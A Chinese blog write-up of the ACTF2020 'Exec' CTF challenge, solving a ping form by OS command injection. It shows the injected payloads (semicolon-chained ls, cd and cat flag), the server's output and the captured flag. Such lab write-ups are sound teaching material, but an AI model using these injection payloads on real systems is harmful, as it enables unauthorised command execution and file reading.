

[ACTF2020 新生赛]Exec 1(Linux/远程命令执行)

原创

哇gg 于 2020-11-17 15:19:03 发布 317 收藏 4

分类专栏: [BUUCTF-WEB](#) 文章标签: [linux flag](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: https://blog.csdn.net/weixin_45253573/article/details/109743407

版权



[BUUCTF-WEB](#) 专栏收录该内容

17 篇文章 0 订阅

订阅专栏

打开环境

PING

PING

https://blog.csdn.net/weixin_45253573

又是一个ping的题, 猜测远程命令执行。

payload: `ping 127.0.0.1;ls`

PING

PING

PING 127.0.0.1 (127.0.0.1): 56 data bytes
index.php

https://blog.csdn.net/weixin_45253573

直接显示了index.php,要知道Linux系统显示网页的路径是/var/www/html

也就是说index.php在这个路径里

而且;分号又没有过滤

先返回根目录看看flag在不在: `127.0.0.1;cd /;ls`

PING

```
127.0.0.1;cd /;ls
```

PING

```
PING 127.0.0.1 (127.0.0.1): 56 data bytes
bin
dev
etc
flag
home
lib
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
```

https://blog.csdn.net/weixin_45253573

还真在，而且空格，分号都没过滤。

最后的payload: `127.0.0.1;cd /;cat flag`

PING

```
127.0.0.1;cd /;cat flag
```

PING

```
PING 127.0.0.1 (127.0.0.1): 56 data bytes
flag{a1274a66-e3ba-4f30-8661-d26eedc02e26}
```

https://blog.csdn.net/weixin_45253573

得到flag